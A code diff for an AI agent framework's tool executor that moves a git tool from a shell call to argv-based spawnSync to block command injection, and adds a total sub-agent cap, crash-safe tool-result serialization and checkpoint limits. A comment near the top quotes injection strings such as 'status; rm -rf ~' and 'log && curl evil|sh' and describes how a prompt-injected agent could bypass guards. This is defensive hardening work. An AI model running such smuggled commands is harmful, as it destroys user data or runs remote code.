2073
 
1974
- try {
1975
- const output = execSync(`git ${normalizedCommand}`, {
1976
- cwd: args.cwd || cwd,
1977
- encoding: "utf8",
1978
- timeout: 60000,
1979
- maxBuffer: 1024 * 1024,
1980
- });
2074
+ // Run via argv (spawnSync, NO shell) so shell metacharacters in the
2075
+ // command e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
2076
+ // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
2077
+ // the whole string through a shell, and the destructive-git/credential/
2078
+ // run_shell guards only inspect the first token, so this was an arbitrary
2079
+ // command-execution bypass for a prompt-injected agent. Quoted args (a
2080
+ // commit message) keep their content via the quote-aware tokenizer.
2081
+ const gitArgs = tokenizeShellWords(normalizedCommand);
2082
+ const res = spawnSync("git", gitArgs, {
2083
+ cwd: args.cwd || cwd,
2084
+ encoding: "utf8",
2085
+ timeout: 60000,
2086
+ maxBuffer: 1024 * 1024,
2087
+ windowsHide: true,
2088
+ });
2089
+ const readOnly = isReadOnlyGitCommand(normalizedCommand);
2090
+ if (res.error) {
1981
2091
  return attachDescriptor({
1982
- stdout: output.substring(0, 30000),
2092
+ error: String(res.error.message || res.error).substring(0, 2000),
1983
2093
  command: normalizedCommand,
1984
- readOnly: isReadOnlyGitCommand(normalizedCommand),
2094
+ readOnly,
1985
2095
  });
1986
- } catch (err) {
2096
+ }
2097
+ if (res.status !== 0) {
2098
+ const stderr = String(res.stderr || "").substring(0, 2000);
1987
2099
  return attachDescriptor({
1988
- error: err.message.substring(0, 2000),
1989
- stderr: (err.stderr || "").substring(0, 2000),
1990
- exitCode: err.status,
2100
+ error: stderr || `git exited with code ${res.status}`,
2101
+ stderr,
2102
+ exitCode: res.status,
1991
2103
  command: normalizedCommand,
1992
- readOnly: isReadOnlyGitCommand(normalizedCommand),
2104
+ readOnly,
1993
2105
  });
1994
2106
  }
2107
+ return attachDescriptor({
2108
+ stdout: String(res.stdout || "").substring(0, 30000),
2109
+ command: normalizedCommand,
2110
+ readOnly,
2111
+ });
1995
2112
  }
1996
2113
 
1997
2114
  case "run_code": {
@@ -2041,6 +2158,7 @@ async function executeToolInner(
2041
2158
  sessionId,
2042
2159
  llmOptions,
2043
2160
  subAgentDepth,
2161
+ subAgentBudget,
2044
2162
  }),
2045
2163
  );
2046
2164
  }
@@ -2735,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
2735
2853
  */
2736
2854
  export const MAX_SUB_AGENT_DEPTH = 5;
2737
2855
 
2856
+ /**
2857
+ * Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
2858
+ * cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
2859
+ * out many children, each with its own fresh iteration budget, so depth-cap
2860
+ * alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
2861
+ * counter (threaded by reference through the tool context, like subAgentDepth)
2862
+ * gives a hard ceiling on the whole tree. Generous enough for legitimate
2863
+ * fan-out delegation; a model that blows past it is looping. Override per run
2864
+ * with `options.subAgentBudget`.
2865
+ */
2866
+ export const MAX_SUB_AGENTS_PER_RUN = 32;
2867
+
2738
2868
  /**
2739
2869
  * Per-tool-result character cap fed back to the model. One giant tool output (a
2740
2870
  * huge file, a verbose command, an MCP blob) must not blow the context window —
@@ -2765,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
2765
2895
  );
2766
2896
  }
2767
2897
 
2898
+ /**
2899
+ * Serialize a tool result for the transcript without ever throwing. A plain
2900
+ * `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
2901
+ * `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
2902
+ * odd tool result would crash the whole agent turn. The happy path is identical
2903
+ * to `JSON.stringify` (returns its value verbatim, including `undefined`, which
2904
+ * `capToolResultString` already normalizes); only a throw falls back to a
2905
+ * circular- and BigInt-safe pass, then a last-resort string form.
2906
+ */
2907
+ export function safeStringifyToolResult(value) {
2908
+ try {
2909
+ return JSON.stringify(value);
2910
+ } catch {
2911
+ try {
2912
+ const seen = new WeakSet();
2913
+ return JSON.stringify(value, (_k, v) => {
2914
+ if (typeof v === "bigint") return v.toString();
2915
+ if (v && typeof v === "object") {
2916
+ if (seen.has(v)) return "[Circular]";
2917
+ seen.add(v);
2918
+ }
2919
+ return v;
2920
+ });
2921
+ } catch {
2922
+ try {
2923
+ return String(value);
2924
+ } catch {
2925
+ return "[unserializable tool result]";
2926
+ }
2927
+ }
2928
+ }
2929
+ }
2930
+
2768
2931
  /**
2769
2932
  * Execute a spawn_sub_agent tool call.
2770
2933
  * Creates an isolated SubAgentContext, runs it, and returns only the summary.
@@ -2781,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
2781
2944
  error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
2782
2945
  };
2783
2946
  }
2947
+ // Breadth cap: a shared counter (one object for the whole tree) bounds the
2948
+ // TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
2949
+ // within the depth limit. Refuse + count BEFORE any work so the increment
2950
+ // can't be skipped by a later error.
2951
+ const subAgentBudget = ctx.subAgentBudget || null;
2952
+ if (subAgentBudget) {
2953
+ const max = Number.isFinite(subAgentBudget.max)
2954
+ ? subAgentBudget.max
2955
+ : MAX_SUB_AGENTS_PER_RUN;
2956
+ if ((subAgentBudget.spawned || 0) >= max) {
2957
+ return {
2958
+ error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
2959
+ };
2960
+ }
2961
+ subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
2962
+ }
2784
2963
  let {
2785
2964
  role,
2786
2965
  task,
@@ -2883,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
2883
3062
  profile: profile || null,
2884
3063
  llmOptions: subLlmOptions,
2885
3064
  depth: currentDepth + 1, // nested spawns see their own level
3065
+ // Same shared counter object so the child's own spawns draw from the run's
3066
+ // single total-sub-agent pool (breadth cap spans the whole tree).
3067
+ subAgentBudget: ctx.subAgentBudget || null,
2886
3068
  });
2887
3069
 
2888
3070
  const emit = (type, payload) => {
@@ -2900,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
2900
3082
  }
2901
3083
  };
2902
3084
 
3085
+ // Resolve the registry ONCE before the try so the failure path can also move
3086
+ // the sub-agent out of `_active` (the success path does this via complete()).
3087
+ const { SubAgentRegistry } =
3088
+ await import("../lib/sub-agent-registry.js").catch(() => ({
3089
+ SubAgentRegistry: null,
3090
+ }));
3091
+ let registry = null;
3092
+ if (SubAgentRegistry) {
3093
+ try {
3094
+ registry = SubAgentRegistry.getInstance();
3095
+ } catch (_err) {
3096
+ registry = null; // registry unavailable — non-critical
3097
+ }
3098
+ }
3099
+
2903
3100
  try {
2904
3101
  // Notify registry if available
2905
- const { SubAgentRegistry } =
2906
- await import("../lib/sub-agent-registry.js").catch(() => ({
2907
- SubAgentRegistry: null,
2908
- }));
2909
- if (SubAgentRegistry) {
3102
+ if (registry) {
2910
3103
  try {
2911
- SubAgentRegistry.getInstance().register(subCtx);
3104
+ registry.register(subCtx);
2912
3105
  } catch (_err) {
2913
3106
  // Registry not available — non-critical
2914
3107
  }
@@ -2924,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
2924
3117
  const result = await subCtx.run(task);
2925
3118
 
2926
3119
  // Complete in registry
2927
- if (SubAgentRegistry) {
3120
+ if (registry) {
2928
3121
  try {
2929
- SubAgentRegistry.getInstance().complete(subCtx.id, result);
3122
+ registry.complete(subCtx.id, result);
2930
3123
  } catch (_err) {
2931
3124
  // Non-critical
2932
3125
  }
@@ -2955,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
2955
3148
  } catch (err) {
2956
3149
  subCtx.forceComplete(err.message);
2957
3150
 
3151
+ // Move the failed sub-agent out of the registry's `_active` Map into bounded
3152
+ // history (mirrors the success path). Without this, a sub-agent whose run()
3153
+ // threw outside its own try (setup/summarize error) lingers in `_active`
3154
+ // forever and over-reports as "active" to monitors/UI.
3155
+ if (registry) {
3156
+ try {
3157
+ registry.complete(subCtx.id, subCtx.result);
3158
+ } catch (_err) {
3159
+ // Non-critical
3160
+ }
3161
+ }
3162
+
2958
3163
  emit("sub-agent.failed", {
2959
3164
  status: subCtx.status,
2960
3165
  error: err.message,
@@ -4175,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
4175
4380
  "search_sessions",
4176
4381
  ]);
4177
4382
 
4383
+ // Rolling cap on auto-checkpoints per agent session — the engine prunes the
4384
+ // oldest beyond this so a long run can't accumulate unbounded refs.
4385
+ const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
4386
+
4178
4387
  let _checkpointStoreP = null;
4179
4388
  function _loadCheckpointStore() {
4180
4389
  if (!_checkpointStoreP) {
@@ -4205,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
4205
4414
  120,
4206
4415
  ),
4207
4416
  skipIfUnchanged: true,
4417
+ // Bound auto-checkpoint history: a rolling safety net of the last N
4418
+ // mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
4419
+ // a long agentic run (rewinding 100+ tool calls back is already extreme).
4420
+ maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
4208
4421
  });
4209
4422
  return res?.id || null;
4210
4423
  } catch {
@@ -4302,6 +4515,13 @@ export async function* agentLoop(messages, options) {
4302
4515
  // Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
4303
4516
  // MAX_SUB_AGENT_DEPTH using this.
4304
4517
  subAgentDepth: options.subAgentDepth || 0,
4518
+ // Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
4519
+ // instance (passed by reference) so every nested level draws from one pool;
4520
+ // the main loop seeds it. Bounds breadth, complementing the depth cap.
4521
+ subAgentBudget: options.subAgentBudget || {
4522
+ spawned: 0,
4523
+ max: MAX_SUB_AGENTS_PER_RUN,
4524
+ },
4305
4525
  };
4306
4526
 
4307
4527
  throwIfAborted(signal);
@@ -4739,7 +4959,9 @@ export async function* agentLoop(messages, options) {
4739
4959
  // Cap an individual tool result so one giant output can't blow the
4740
4960
  // context — but tell the model when we cut it (no more silent
4741
4961
  // mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
4742
- const resultStr = capToolResultString(JSON.stringify(toolResult));
4962
+ const resultStr = capToolResultString(
4963
+ safeStringifyToolResult(toolResult),
4964
+ );
4743
4965
  const toolContent = warningMsg
4744
4966
  ? `${resultStr}\n\n${warningMsg}`
4745
4967
  : resultStr;